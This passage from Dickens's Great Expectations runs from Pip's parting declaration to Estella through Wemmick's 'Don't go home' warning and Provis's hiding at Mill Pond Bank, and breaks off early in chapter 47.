see, +to do them good with her. She looked at me keenly for a little +while, and then said quietly: + +"What do you want for them?" + +"Only," said I, "that you would not confound them with the others. +They may be of the same blood, but, believe me, they are not of the +same nature." + +Still looking at me keenly, Miss Havisham repeated: + +"What do you want for them?" + +"I am not so cunning, you see," I said, in answer, conscious that I +reddened a little, "as that I could hide from you, even if I +desired, that I do want something. Miss Havisham, if you would +spare the money to do my friend Herbert a lasting service in life, +but which from the nature of the case must be done without his +knowledge, I could show you how." + +"Why must it be done without his knowledge?" she asked, settling +her hands upon her stick, that she might regard me the more +attentively. + +"Because," said I, "I began the service myself, more than two years +ago, without his knowledge, and I don't want to be betrayed. Why I +fail in my ability to finish it, I cannot explain. It is a part of +the secret which is another person's and not mine." + +She gradually withdrew her eyes from me, and turned them on the +fire. After watching it for what appeared in the silence and by the +light of the slowly wasting candles to be a long time, she was +roused by the collapse of some of the red coals, and looked towards +me again - at first, vacantly - then, with a gradually +concentrating attention. All this time, Estella knitted on. When +Miss Havisham had fixed her attention on me, she said, speaking as +if there had been no lapse in our dialogue: + +"What else?" + +"Estella," said I, turning to her now, and trying to command my +trembling voice, "you know I love you. You know that I have loved +you long and dearly." + +She raised her eyes to my face, on being thus addressed, and her +fingers plied their work, and she looked at me with an unmoved +countenance. I saw that Miss Havisham glanced from me to her, and +from her to me. + +"I should have said this sooner, but for my long mistake. It +induced me to hope that Miss Havisham meant us for one another. +While I thought you could not help yourself, as it were, I +refrained from saying it. But I must say it now." + +Preserving her unmoved countenance, and with her fingers still +going, Estella shook her head. + +"I know," said I, in answer to that action; "I know. I have no hope +that I shall ever call you mine, Estella. I am ignorant what may +become of me very soon, how poor I may be, or where I may go. +Still, I love you. I have loved you ever since I first saw you in +this house." + +Looking at me perfectly unmoved and with her fingers busy, she +shook her head again. + +"It would have been cruel in Miss Havisham, horribly cruel, to +practise on the susceptibility of a poor boy, and to torture me +through all these years with a vain hope and an idle pursuit, if +she had reflected on the gravity of what she did. But I think she +did not. I think that in the endurance of her own trial, she forgot +mine, Estella." + +I saw Miss Havisham put her hand to her heart and hold it there, as +she sat looking by turns at Estella and at me. + +"It seems," said Estella, very calmly, "that there are sentiments, +fancies - I don't know how to call them - which I am not able to +comprehend. When you say you love me, I know what you mean, as a +form of words; but nothing more. You address nothing in my breast, +you touch nothing there. I don't care for what you say at all. I +have tried to warn you of this; now, have I not?" + +I said in a miserable manner, "Yes." + +"Yes. But you would not be warned, for you thought I did not mean +it. Now, did you not think so?" + +"I thought and hoped you could not mean it. You, so young, untried, +and beautiful, Estella! Surely it is not in Nature." + +"It is in my nature," she returned. And then she added, with a +stress upon the words, "It is in the nature formed within me. I +make a great difference between you and all other people when I say +so much. I can do no more." + +"Is it not true," said I, "that Bentley Drummle is in town here, +and pursuing you?" + +"It is quite true," she replied, referring to him with the +indifference of utter contempt. + +"That you encourage him, and ride out with him, and that he dines +with you this very day?" + +She seemed a little surprised that I should know it, but again +replied, "Quite true." + +"You cannot love him, Estella!" + +Her fingers stopped for the first time, as she retorted rather +angrily, "What have I told you? Do you still think, in spite of it, +that I do not mean what I say?" + +"You would never marry him, Estella?" + +She looked towards Miss Havisham, and considered for a moment with +her work in her hands. Then she said, "Why not tell you the truth? +I am going to be married to him." + +I dropped my face into my hands, but was able to control myself +better than I could have expected, considering what agony it gave +me to hear her say those words. When I raised my face again, there +was such a ghastly look upon Miss Havisham's, that it impressed me, +even in my passionate hurry and grief. + +"Estella, dearest dearest Estella, do not let Miss Havisham lead +you into this fatal step. Put me aside for ever - you have done so, +I well know - but bestow yourself on some worthier person than +Drummle. Miss Havisham gives you to him, as the greatest slight and +injury that could be done to the many far better men who admire +you, and to the few who truly love you. Among those few, there may +be one who loves you even as dearly, though he has not loved you as +long, as I. Take him, and I can bear it better, for your sake!" + +My earnestness awoke a wonder in her that seemed as if it would +have been touched with compassion, if she could have rendered me at +all intelligible to her own mind. + +"I am going," she said again, in a gentler voice, "to be married to +him. The preparations for my marriage are making, and I shall be +married soon. Why do you injuriously introduce the name of my +mother by adoption? It is my own act." + +"Your own act, Estella, to fling yourself away upon a brute?" + +"On whom should I fling myself away?" she retorted, with a smile. +"Should I fling myself away upon the man who would the soonest feel +(if people do feel such things) that I took nothing to him? There! +It is done. I shall do well enough, and so will my husband. As to +leading me into what you call this fatal step, Miss Havisham would +have had me wait, and not marry yet; but I am tired of the life I +have led, which has very few charms for me, and I am willing enough +to change it. Say no more. We shall never understand each other." + +"Such a mean brute, such a stupid brute!" I urged in despair. + +"Don't be afraid of my being a blessing to him," said Estella; "I +shall not be that. Come! Here is my hand. Do we part on this, you +visionary boy - or man?" + +"O Estella!" I answered, as my bitter tears fell fast on her hand, +do what I would to restrain them; "even if I remained in England +and could hold my head up with the rest, how could I see you +Drummle's wife?" + +"Nonsense," she returned, "nonsense. This will pass in no time." + +"Never, Estella!" + +"You will get me out of your thoughts in a week." + +"Out of my thoughts! You are part of my existence, part of myself. +You have been in every line I have ever read, since I first came +here, the rough common boy whose poor heart you wounded even then. +You have been in every prospect I have ever seen since - on the +river, on the sails of the ships, on the marshes, in the clouds, in +the light, in the darkness, in the wind, in the woods, in the sea, +in the streets. You have been the embodiment of every graceful +fancy that my mind has ever become acquainted with. The stones of +which the strongest London buildings are made, are not more real, +or more impossible to be displaced by your hands, than your +presence and influence have been to me, there and everywhere, and +will be. Estella, to the last hour of my life, you cannot choose +but remain part of my character, part of the little good in me, +part of the evil. But, in this separation I associate you only with +the good, and I will faithfully hold you to that always, for you +must have done me far more good than harm, let me feel now what +sharp distress I may. O God bless you, God forgive you!" + +In what ecstasy of unhappiness I got these broken words out of +myself, I don't know. The rhapsody welled up within me, like blood +from an inward wound, and gushed out. I held her hand to my lips +some lingering moments, and so I left her. But ever afterwards, I +remembered - and soon afterwards with stronger reason - that while +Estella looked at me merely with incredulous wonder, the spectral +figure of Miss Havisham, her hand still covering her heart, seemed +all resolved into a ghastly stare of pity and remorse. + +All done, all gone! So much was done and gone, that when I went out +at the gate, the light of the day seemed of a darker colour than +when I went in. For a while, I hid myself among some lanes and +by-paths, and then struck off to walk all the way to London. For, I +had by that time come to myself so far, as to consider that I could +not go back to the inn and see Drummle there; that I could not bear +to sit upon the coach and be spoken to; that I could do nothing +half so good for myself as tire myself out. + +It was past midnight when I crossed London Bridge. Pursuing the +narrow intricacies of the streets which at that time tended +westward near the Middlesex shore of the river, my readiest access +to the Temple was close by the river-side, through Whitefriars. I +was not expected till to-morrow, but I had my keys, and, if Herbert +were gone to bed, could get to bed myself without disturbing him. + +As it seldom happened that I came in at that Whitefriars gate after +the Temple was closed, and as I was very muddy and weary, I did not +take it ill that the night-porter examined me with much attention +as he held the gate a little way open for me to pass in. To help +his memory I mentioned my name. + +"I was not quite sure, sir, but I thought so. Here's a note, sir. +The messenger that brought it, said would you be so good as read it +by my lantern?" + +Much surprised by the request, I took the note. It was directed to +Philip Pip, Esquire, and on the top of the superscription were the +words, "PLEASE READ THIS, HERE." I opened it, the watchman holding +up his light, and read inside, in Wemmick's writing: + +"DON'T GO HOME." + + +Chapter 45 + +Turning from the Temple gate as soon as I had read the warning, I +made the best of my way to Fleet-street, and there got a late +hackney chariot and drove to the Hummums in Covent Garden. In those +times a bed was always to be got there at any hour of the night, +and the chamberlain, letting me in at his ready wicket, lighted the +candle next in order on his shelf, and showed me straight into the +bedroom next in order on his list. It was a sort of vault on the +ground floor at the back, with a despotic monster of a four-post +bedstead in it, straddling over the whole place, putting one of his +arbitrary legs into the fire-place and another into the doorway, +and squeezing the wretched little washing-stand in quite a Divinely +Righteous manner. + +As I had asked for a night-light, the chamberlain had brought me +in, before he left me, the good old constitutional rush-light of +those virtuous days - an object like the ghost of a walking-cane, +which instantly broke its back if it were touched, which nothing +could ever be lighted at, and which was placed in solitary +confinement at the bottom of a high tin tower, perforated with +round holes that made a staringly wide-awake pattern on the walls. +When I had got into bed, and lay there footsore, weary, and +wretched, I found that I could no more close my own eyes than I +could close the eyes of this foolish Argus. And thus, in the gloom +and death of the night, we stared at one another. + +What a doleful night! How anxious, how dismal, how long! There was +an inhospitable smell in the room, of cold soot and hot dust; and, +as I looked up into the corners of the tester over my head, I +thought what a number of blue-bottle flies from the butchers', and +earwigs from the market, and grubs from the country, must be +holding on up there, lying by for next summer. This led me to +speculate whether any of them ever tumbled down, and then I fancied +that I felt light falls on my face - a disagreeable turn of thought, +suggesting other and more objectionable approaches up my back. When +I had lain awake a little while, those extraordinary voices with +which silence teems, began to make themselves audible. The closet +whispered, the fireplace sighed, the little washing-stand ticked, +and one guitar-string played occasionally in the chest of drawers. +At about the same time, the eyes on the wall acquired a new +expression, and in every one of those staring rounds I saw +written, DON'T GO HOME. + +Whatever night-fancies and night-noises crowded on me, they never +warded off this DON'T GO HOME. It plaited itself into whatever I +thought of, as a bodily pain would have done. Not long before, I +had read in the newspapers, how a gentleman unknown had come to the +Hummums in the night, and had gone to bed, and had destroyed +himself, and had been found in the morning weltering in blood. It +came into my head that he must have occupied this very vault of +mine, and I got out of bed to assure myself that there were no red +marks about; then opened the door to look out into the passages, +and cheer myself with the companionship of a distant light, near +which I knew the chamberlain to be dozing. But all this time, why I +was not to go home, and what had happened at home, and when I +should go home, and whether Provis was safe at home, were questions +occupying my mind so busily, that one might have supposed there +could be no more room in it for any other theme. Even when I +thought of Estella, and how we had parted that day for ever, and +when I recalled all the circumstances of our parting, and all her +looks and tones, and the action of her fingers while she knitted - +even then I was pursuing, here and there and everywhere, the +caution Don't go home. When at last I dozed, in sheer exhaustion of +mind and body, it became a vast shadowy verb which I had to +conjugate. Imperative mood, present tense: Do not thou go home, let +him not go home, let us not go home, do not ye or you go home, let +not them go home. Then, potentially: I may not and I cannot go +home; and I might not, could not, would not, and should not go +home; until I felt that I was going distracted, and rolled over on +the pillow, and looked at the staring rounds upon the wall again. + +I had left directions that I was to be called at seven; for it was +plain that I must see Wemmick before seeing any one else, and +equally plain that this was a case in which his Walworth +sentiments, only, could be taken. It was a relief to get out of the +room where the night had been so miserable, and I needed no second +knocking at the door to startle me from my uneasy bed. + +The Castle battlements arose upon my view at eight o'clock. The +little servant happening to be entering the fortress with two hot +rolls, I passed through the postern and crossed the drawbridge, in +her company, and so came without announcement into the presence of +Wemmick as he was making tea for himself and the Aged. An open door +afforded a perspective view of the Aged in bed. + +"Halloa, Mr. Pip!" said Wemmick. "You did come home, then?" + +"Yes," I returned; "but I didn't go home." + +"That's all right," said he, rubbing his hands. "I left a note for +you at each of the Temple gates, on the chance. Which gate did you +come to?" + +I told him. + +"I'll go round to the others in the course of the day and destroy +the notes," said Wemmick; "it's a good rule never to leave +documentary evidence if you can help it, because you don't know +when it may be put in. I'm going to take a liberty with you. - +Would you mind toasting this sausage for the Aged P.?" + +I said I should be delighted to do it. + +"Then you can go about your work, Mary Anne," said Wemmick to the +little servant; "which leaves us to ourselves, don't you see, Mr. +Pip?" he added, winking, as she disappeared. + +I thanked him for his friendship and caution, and our discourse +proceeded in a low tone, while I toasted the Aged's sausage and he +buttered the crumb of the Aged's roll. + +"Now, Mr. Pip, you know," said Wemmick, "you and I understand one +another. We are in our private and personal capacities, and we have +been engaged in a confidential transaction before today. Official +sentiments are one thing. We are extra official." + +I cordially assented. I was so very nervous, that I had already +lighted the Aged's sausage like a torch, and been obliged to blow +it out. + +"I accidentally heard, yesterday morning," said Wemmick, "being in +a certain place where I once took you - even between you and me, +it's as well not to mention names when avoidable--" + +"Much better not," said I. "I understand you." + +"I heard there by chance, yesterday morning," said Wemmick, "that a +certain person not altogether of uncolonial pursuits, and not +unpossessed of portable property - I don't know who it may really +be - we won't name this person--" + +"Not necessary," said I. + +" - had made some little stir in a certain part of the world where +a good many people go, not always in gratification of their own +inclinations, and not quite irrespective of the government +expense--" + +In watching his face, I made quite a firework of the Aged's +sausage, and greatly discomposed both my own attention and +Wemmick's; for which I apologized. + +" - by disappearing from such place, and being no more heard of +thereabouts. From which," said Wemmick, "conjectures had been +raised and theories formed. I also heard that you at your chambers +in Garden Court, Temple, had been watched, and might be watched +again." + +"By whom?" said I. + +"I wouldn't go into that," said Wemmick, evasively, "it might clash +with official responsibilities. I heard it, as I have in my time +heard other curious things in the same place. I don't tell it you +on information received. I heard it." + +He took the toasting-fork and sausage from me as he spoke, and set +forth the Aged's breakfast neatly on a little tray. Previous to +placing it before him, he went into the Aged's room with a clean +white cloth, and tied the same under the old gentleman's chin, and +propped him up, and put his nightcap on one side, and gave him +quite a rakish air. Then, he placed his breakfast before him with +great care, and said, "All right, ain't you, Aged P.?" To which the +cheerful Aged replied, "All right, John, my boy, all right!" As +there seemed to be a tacit understanding that the Aged was not in a +presentable state, and was therefore to be considered invisible, I +made a pretence of being in complete ignorance of these +proceedings. + +"This watching of me at my chambers (which I have once had reason +to suspect)," I said to Wemmick when he came back, "is inseparable +from the person to whom you have adverted; is it?" + +Wemmick looked very serious. "I couldn't undertake to say that, of +my own knowledge. I mean, I couldn't undertake to say it was at +first. But it either is, or it will be, or it's in great danger of +being." + +As I saw that he was restrained by fealty to Little Britain from +saying as much as he could, and as I knew with thankfulness to him +how far out of his way he went to say what he did, I could not +press him. But I told him, after a little meditation over the fire, +that I would like to ask him a question, subject to his answering +or not answering, as he deemed right, and sure that his course +would be right. He paused in his breakfast, and crossing his arms, +and pinching his shirt-sleeves (his notion of indoor comfort was to +sit without any coat), he nodded to me once, to put my question. + +"You have heard of a man of bad character, whose true name is +Compeyson?" + +He answered with one other nod. + +"Is he living?" + +One other nod. + +"Is he in London?" + +He gave me one other nod, compressed the post-office exceedingly, +gave me one last nod, and went on with his breakfast. + +"Now," said Wemmick, "questioning being over;" which he emphasized +and repeated for my guidance; "I come to what I did, after hearing +what I heard. I went to Garden Court to find you; not finding you, +I went to Clarriker's to find Mr. Herbert." + +"And him you found?" said I, with great anxiety. + +"And him I found. Without mentioning any names or going into any +details, I gave him to understand that if he was aware of anybody - +Tom, Jack, or Richard - being about the chambers, or about the +immediate neighbourhood, he had better get Tom, Jack, or Richard, +out of the way while you were out of the way." + +"He would be greatly puzzled what to do?" + +"He was puzzled what to do; not the less, because I gave him my +opinion that it was not safe to try to get Tom, Jack, or Richard, +too far out of the way at present. Mr. Pip, I'll tell you something. +Under existing circumstances there is no place like a great city +when you are once in it. Don't break cover too soon. Lie close. +Wait till things slacken, before you try the open, even for foreign +air." + +I thanked him for his valuable advice, and asked him what Herbert +had done? + +"Mr. Herbert," said Wemmick, "after being all of a heap for half an +hour, struck out a plan. He mentioned to me as a secret, that he is +courting a young lady who has, as no doubt you are aware, a +bedridden Pa. Which Pa, having been in the Purser line of life, +lies a-bed in a bow-window where he can see the ships sail up and +down the river. You are acquainted with the young lady, most +probably?" + +"Not personally," said I. + +The truth was, that she had objected to me as an expensive +companion who did Herbert no good, and that, when Herbert had first +proposed to present me to her, she had received the proposal with +such very moderate warmth, that Herbert had felt himself obliged to +confide the state of the case to me, with a view to the lapse of a +little time before I made her acquaintance. When I had begun to +advance Herbert's prospects by Stealth, I had been able to bear +this with cheerful philosophy; he and his affianced, for their +part, had naturally not been very anxious to introduce a third +person into their interviews; and thus, although I was assured that +I had risen in Clara's esteem, and although the young lady and I +had long regularly interchanged messages and remembrances by +Herbert, I had never seen her. However, I did not trouble Wemmick +with these particulars. + +"The house with the bow-window," said Wemmick, "being by the +river-side, down the Pool there between Limehouse and Greenwich, +and being kept, it seems, by a very respectable widow who has a +furnished upper floor to let, Mr. Herbert put it to me, what did I +think of that as a temporary tenement for Tom, Jack, or Richard? +Now, I thought very well of it, for three reasons I'll give you. +That is to say. Firstly. It's altogether out of all your beats, and +is well away from the usual heap of streets great and small. +Secondly. Without going near it yourself, you could always hear of +the safety of Tom, Jack, or Richard, through Mr. Herbert. Thirdly. +After a while and when it might be prudent, if you should want to +slip Tom, Jack, or Richard, on board a foreign packet-boat, there +he is - ready." + +Much comforted by these considerations, I thanked Wemmick again and +again, and begged him to proceed. + +"Well, sir! Mr. Herbert threw himself into the business with a will, +and by nine o'clock last night he housed Tom, Jack, or Richard - +whichever it may be - you and I don't want to know - quite +successfully. At the old lodgings it was understood that he was +summoned to Dover, and in fact he was taken down the Dover road and +cornered out of it. Now, another great advantage of all this, is, +that it was done without you, and when, if any one was concerning +himself about your movements, you must be known to be ever so many +miles off and quite otherwise engaged. This diverts suspicion and +confuses it; and for the same reason I recommended that even if you +came back last night, you should not go home. It brings in more +confusion, and you want confusion." + +Wemmick, having finished his breakfast, here looked at his watch, +and began to get his coat on. + +"And now, Mr. Pip," said he, with his hands still in the sleeves, "I +have probably done the most I can do; but if I can ever do more - +from a Walworth point of view, and in a strictly private and +personal capacity - I shall be glad to do it. Here's the address. +There can be no harm in your going here to-night and seeing for +yourself that all is well with Tom, Jack, or Richard, before you go +home - which is another reason for your not going home last night. +But after you have gone home, don't go back here. You are very +welcome, I am sure, Mr. Pip;" his hands were now out of his sleeves, +and I was shaking them; "and let me finally impress one important +point upon you." He laid his hands upon my shoulders, and added in +a solemn whisper: "Avail yourself of this evening to lay hold of +his portable property. You don't know what may happen to him. Don't +let anything happen to the portable property." + +Quite despairing of making my mind clear to Wemmick on this point, +I forbore to try. + +"Time's up," said Wemmick, "and I must be off. If you had nothing +more pressing to do than to keep here till dark, that's what I +should advise. You look very much worried, and it would do you good +to have a perfectly quiet day with the Aged - he'll be up presently +- and a little bit of - you remember the pig?" + +"Of course," said I. + +"Well; and a little bit of him. That sausage you toasted was his, +and he was in all respects a first-rater. Do try him, if it is only +for old acquaintance sake. Good-bye, Aged Parent!" in a cheery +shout. + +"All right, John; all right, my boy!" piped the old man from +within. + +I soon fell asleep before Wemmick's fire, and the Aged and I +enjoyed one another's society by falling asleep before it more or +less all day. We had loin of pork for dinner, and greens grown on +the estate, and I nodded at the Aged with a good intention whenever +I failed to do it drowsily. When it was quite dark, I left the Aged +preparing the fire for toast; and I inferred from the number of +teacups, as well as from his glances at the two little doors in the +wall, that Miss Skiffins was expected. + + +Chapter 46 + +Eight o'clock had struck before I got into the air that was +scented, not disagreeably, by the chips and shavings of the +long-shore boatbuilders, and mast oar and block makers. All that +water-side region of the upper and lower Pool below Bridge, was +unknown ground to me, and when I struck down by the river, I found +that the spot I wanted was not where I had supposed it to be, and +was anything but easy to find. It was called Mill Pond Bank, +Chinks's Basin; and I had no other guide to Chinks's Basin than the +Old Green Copper Rope-Walk. + +It matters not what stranded ships repairing in dry docks I lost +myself among, what old hulls of ships in course of being knocked to +pieces, what ooze and slime and other dregs of tide, what yards of +ship-builders and ship-breakers, what rusty anchors blindly biting +into the ground though for years off duty, what mountainous country +of accumulated casks and timber, how many rope-walks that were not +the Old Green Copper. After several times falling short of my +destination and as often over-shooting it, I came unexpectedly +round a corner, upon Mill Pond Bank. It was a fresh kind of place, +all circumstances considered, where the wind from the river had +room to turn itself round; and there were two or three trees in it, +and there was the stump of a ruined windmill, and there was the Old +Green Copper Rope-Walk - whose long and narrow vista I could trace +in the moonlight, along a series of wooden frames set in the +ground, that looked like superannuated haymaking-rakes which had +grown old and lost most of their teeth. + +Selecting from the few queer houses upon Mill Pond Bank, a house +with a wooden front and three stories of bow-window (not +bay-window, which is another thing), I looked at the plate upon the +door, and read there, Mrs. Whimple. That being the name I wanted, I +knocked, and an elderly woman of a pleasant and thriving appearance +responded. She was immediately deposed, however, by Herbert, who +silently led me into the parlour and shut the door. It was an odd +sensation to see his very familiar face established quite at home +in that very unfamiliar room and region; and I found myself looking +at him, much as I looked at the corner-cupboard with the glass and +china, the shells upon the chimney-piece, and the coloured +engravings on the wall, representing the death of Captain Cook, a +ship-launch, and his Majesty King George the Third in a +state-coachman's wig, leather-breeches, and top-boots, on the +terrace at Windsor. + +"All is well, Handel," said Herbert, "and he is quite satisfied, +though eager to see you. My dear girl is with her father; and if +you'll wait till she comes down, I'll make you known to her, and +then we'll go up-stairs. - That's her father." + +I had become aware of an alarming growling overhead, and had +probably expressed the fact in my countenance. + +"I am afraid he is a sad old rascal," said Herbert, smiling, "but I +have never seen him. Don't you smell rum? He is always at it." + +"At rum?" said I. + +"Yes," returned Herbert, "and you may suppose how mild it makes his +gout. He persists, too, in keeping all the provisions upstairs in +his room, and serving them out. He keeps them on shelves over his +head, and will weigh them all. His room must be like a chandler's +shop." + +While he thus spoke, the growling noise became a prolonged roar, +and then died away. + +"What else can be the consequence," said Herbert, in explanation, +"if he will cut the cheese? A man with the gout in his right hand - +and everywhere else - can't expect to get through a Double +Gloucester without hurting himself." + +He seemed to have hurt himself very much, for he gave another +furious roar. + +"To have Provis for an upper lodger is quite a godsend to Mrs. +Whimple," said Herbert, "for of course people in general won't +stand that noise. A curious place, Handel; isn't it?" + +It was a curious place, indeed; but remarkably well kept and clean. + +"Mrs. Whimple," said Herbert, when I told him so, "is the best of +housewives, and I really do not know what my Clara would do without +her motherly help. For, Clara has no mother of her own, Handel, and +no relation in the world but old Gruffandgrim." + +"Surely that's not his name, Herbert?" + +"No, no," said Herbert, "that's my name for him. His name is Mr. +Barley. But what a blessing it is for the son of my father and +mother, to love a girl who has no relations, and who can never +bother herself, or anybody else, about her family!" + +Herbert had told me on former occasions, and now reminded me, that +he first knew Miss Clara Barley when she was completing her +education at an establishment at Hammersmith, and that on her being +recalled home to nurse her father, he and she had confided their +affection to the motherly Mrs. Whimple, by whom it had been fostered +and regulated with equal kindness and discretion, ever since. It +was understood that nothing of a tender nature could possibly be +confided to old Barley, by reason of his being totally unequal to +the consideration of any subject more psychological than Gout, Rum, +and Purser's stores. + +As we were thus conversing in a low tone while Old Barley's +sustained growl vibrated in the beam that crossed the ceiling, the +room door opened, and a very pretty slight dark-eyed girl of twenty +or so, came in with a basket in her hand: whom Herbert tenderly +relieved of the basket, and presented blushing, as "Clara." She +really was a most charming girl, and might have passed for a +captive fairy, whom that truculent Ogre, Old Barley, had pressed +into his service. + +"Look here," said Herbert, showing me the basket, with a +compassionate and tender smile after we had talked a little; +"here's poor Clara's supper, served out every night. Here's her +allowance of bread, and here's her slice of cheese, and here's her +rum - which I drink. This is Mr. Barley's breakfast for to-morrow, +served out to be cooked. Two mutton chops, three potatoes, some +split peas, a little flour, two ounces of butter, a pinch of salt, +and all this black pepper. It's stewed up together, and taken hot, +and it's a nice thing for the gout, I should think!" + +There was something so natural and winning in Clara's resigned way +of looking at these stores in detail, as Herbert pointed them out, +- and something so confiding, loving, and innocent, in her modest +manner of yielding herself to Herbert's embracing arm - and +something so gentle in her, so much needing protection on Mill Pond +Bank, by Chinks's Basin, and the Old Green Copper Rope-Walk, with +Old Barley growling in the beam - that I would not have undone the +engagement between her and Herbert, for all the money in the +pocket-book I had never opened. + +I was looking at her with pleasure and admiration, when suddenly +the growl swelled into a roar again, and a frightful bumping noise +was heard above, as if a giant with a wooden leg were trying to +bore it through the ceiling to come to us. Upon this Clara said to +Herbert, "Papa wants me, darling!" and ran away. + +"There is an unconscionable old shark for you!" said Herbert. "What +do you suppose he wants now, Handel?" + +"I don't know," said I. "Something to drink?" + +"That's it!" cried Herbert, as if I had made a guess of +extraordinary merit. "He keeps his grog ready-mixed in a little tub +on the table. Wait a moment, and you'll hear Clara lift him up to +take some. - There he goes!" Another roar, with a prolonged shake +at the end. "Now," said Herbert, as it was succeeded by silence, +"he's drinking. Now," said Herbert, as the growl resounded in the +beam once more, "he's down again on his back!" + +Clara returned soon afterwards, and Herbert accompanied me +up-stairs to see our charge. As we passed Mr. Barley's door, he was +heard hoarsely muttering within, in a strain that rose and fell +like wind, the following Refrain; in which I substitute good wishes +for something quite the reverse. + +"Ahoy! Bless your eyes, here's old Bill Barley. Here's old Bill +Barley, bless your eyes. Here's old Bill Barley on the flat of his +back, by the Lord. Lying on the flat of his back, like a drifting +old dead flounder, here's your old Bill Barley, bless your eyes. +Ahoy! Bless you." + +In this strain of consolation, Herbert informed me the invisible +Barley would commune with himself by the day and night together; +often while it was light, having, at the same time, one eye at a +telescope which was fitted on his bed for the convenience of +sweeping the river. + +In his two cabin rooms at the top of the house, which were fresh +and airy, and in which Mr. Barley was less audible than below, I +found Provis comfortably settled. He expressed no alarm, and seemed +to feel none that was worth mentioning; but it struck me that he +was softened - indefinably, for I could not have said how, and could +never afterwards recall how when I tried; but certainly. + +The opportunity that the day's rest had given me for reflection, +had resulted in my fully determining to say nothing to him +respecting Compeyson. For anything I knew, his animosity towards +the man might otherwise lead to his seeking him out and rushing on +his own destruction. Therefore, when Herbert and I sat down with +him by his fire, I asked him first of all whether he relied on +Wemmick's judgment and sources of information? + +"Ay, ay, dear boy!" he answered, with a grave nod, "Jaggers knows." + +"Then, I have talked with Wemmick," said I, "and have come to tell +you what caution he gave me and what advice." + +This I did accurately, with the reservation just mentioned; and I +told him how Wemmick had heard, in Newgate prison (whether from +officers or prisoners I could not say), that he was under some +suspicion, and that my chambers had been watched; how Wemmick had +recommended his keeping close for a time, and my keeping away from +him; and what Wemmick had said about getting him abroad. I added, +that of course, when the time came, I should go with him, or should +follow close upon him, as might be safest in Wemmick's judgment. +What was to follow that, I did not touch upon; neither indeed was I +at all clear or comfortable about it in my own mind, now that I saw +him in that softer condition, and in declared peril for my sake. As +to altering my way of living, by enlarging my expenses, I put it to +him whether in our present unsettled and difficult circumstances, +it would not be simply ridiculous, if it were no worse? + +He could not deny this, and indeed was very reasonable throughout. +His coming back was a venture, he said, and he had always known it +to be a venture. He would do nothing to make it a desperate +venture, and he had very little fear of his safety with such good +help. + +Herbert, who had been looking at the fire and pondering, here said +that something had come into his thoughts arising out of Wemmick's +suggestion, which it might be worth while to pursue. "We are both +good watermen, Handel, and could take him down the river ourselves +when the right time comes. No boat would then be hired for the +purpose, and no boatmen; that would save at least a chance of +suspicion, and any chance is worth saving. Never mind the season; +don't you think it might be a good thing if you began at once to +keep a boat at the Temple stairs, and were in the habit of rowing +up and down the river? You fall into that habit, and then who +notices or minds? Do it twenty or fifty times, and there is nothing +special in your doing it the twenty-first or fifty-first." + +I liked this scheme, and Provis was quite elated by it. We agreed +that it should be carried into execution, and that Provis should +never recognize us if we came below Bridge and rowed past Mill Pond +Bank. But, we further agreed that he should pull down the blind in +that part of his window which gave upon the east, whenever he saw +us and all was right. + +Our conference being now ended, and everything arranged, I rose to +go; remarking to Herbert that he and I had better not go home +together, and that I would take half an hour's start of him. "I +don't like to leave you here," I said to Provis, "though I cannot +doubt your being safer here than near me. Good-bye!" + +"Dear boy," he answered, clasping my hands, "I don't know when we +may meet again, and I don't like Good-bye. Say Good Night!" + +"Good night! Herbert will go regularly between us, and when the +time comes you may be certain I shall be ready. Good night, Good +night!" + +We thought it best that he should stay in his own rooms, and we +left him on the landing outside his door, holding a light over the +stair-rail to light us down stairs. Looking back at him, I thought +of the first night of his return when our positions were reversed, +and when I little supposed my heart could ever be as heavy and +anxious at parting from him as it was now. + +Old Barley was growling and swearing when we repassed his door, +with no appearance of having ceased or of meaning to cease. When we +got to the foot of the stairs, I asked Herbert whether he had +preserved the name of Provis. He replied, certainly not, and that +the lodger was Mr. Campbell. He also explained that the utmost known +of Mr. Campbell there, was, that he (Herbert) had Mr. Campbell +consigned to him, and felt a strong personal interest in his being +well cared for, and living a secluded life. So, when we went into +the parlour where Mrs. Whimple and Clara were seated at work, I said +nothing of my own interest in Mr. Campbell, but kept it to myself. + +When I had taken leave of the pretty gentle dark-eyed girl, and of +the motherly woman who had not outlived her honest sympathy with a +little affair of true love, I felt as if the Old Green Copper +Rope-Walk had grown quite a different place. Old Barley might be as +old as the hills, and might swear like a whole field of troopers, +but there were redeeming youth and trust and hope enough in +Chinks's Basin to fill it to overflowing. And then I thought of +Estella, and of our parting, and went home very sadly. + +All things were as quiet in the Temple as ever I had seen them. The +windows of the rooms on that side, lately occupied by Provis, were +dark and still, and there was no lounger in Garden Court. I walked +past the fountain twice or thrice before I descended the steps that +were between me and my rooms, but I was quite alone. Herbert coming +to my bedside when he came in - for I went straight to bed, +dispirited and fatigued - made the same report. Opening one of the +windows after that, he looked out into the moonlight, and told me +that the pavement was a solemnly empty as the pavement of any +Cathedral at that same hour. + +Next day, I set myself to get the boat. It was soon done, and the +boat was brought round to the Temple stairs, and lay where I could +reach her within a minute or two. Then, I began to go out as for +training and practice: sometimes alone, sometimes with Herbert. I +was often out in cold, rain, and sleet, but nobody took much note +of me after I had been out a few times. At first, I kept above +Blackfriars Bridge; but as the hours of the tide changed, I took +towards London Bridge. It was Old London Bridge in those days, and +at certain states of the tide there was a race and fall of water +there which gave it a bad reputation. But I knew well enough how to +"shoot" the bridge after seeing it done, and so began to row about +among the shipping in the Pool, and down to Erith. The first time I +passed Mill Pond Bank, Herbert and I were pulling a pair of oars; +and, both in going and returning, we saw the blind towards the east +come down. Herbert was rarely there less frequently than three +times in a week, and he never brought me a single word of +intelligence that was at all alarming. Still, I knew that there was +cause for alarm, and I could not get rid of the notion of being +watched. Once received, it is a haunting idea; how many undesigning +persons I suspected of watching me, it would be hard to calculate. + +In short, I was always full of fears for the rash man who was in +hiding. Herbert had sometimes said to me that he found it pleasant +to stand at one of our windows after dark, when the tide was +running down, and to think that it was flowing, with everything it +bore, towards Clara. But I thought with dread that it was flowing +towards Magwitch, and that any black mark on its surface might be +his pursuers, going swiftly, silently, and surely, to take him. + + +Chapter 47 + +Some weeks passed without bringing any change. We waited for +Wemmick, and he made no sign. If I had never known him out of +Little Britain, and had never enjoyed the privilege of being on a +familiar footing at the Castle, I might have doubted him; not so +for a moment, knowing him as I did. + +My worldly affairs began to wear a gloomy appearance, and I was +pressed for money by more than one creditor. Even I myself began to +know the want of money (I mean of ready money in my own pocket), +and to relieve it by converting some easily spared articles of +jewellery into cash. But I had quite determined that it would be a +heartless fraud to take more money from my patron in the existing +state of my uncertain thoughts and plans. Therefore, I had sent him +the unopened pocket-book by Herbert, to hold in his own 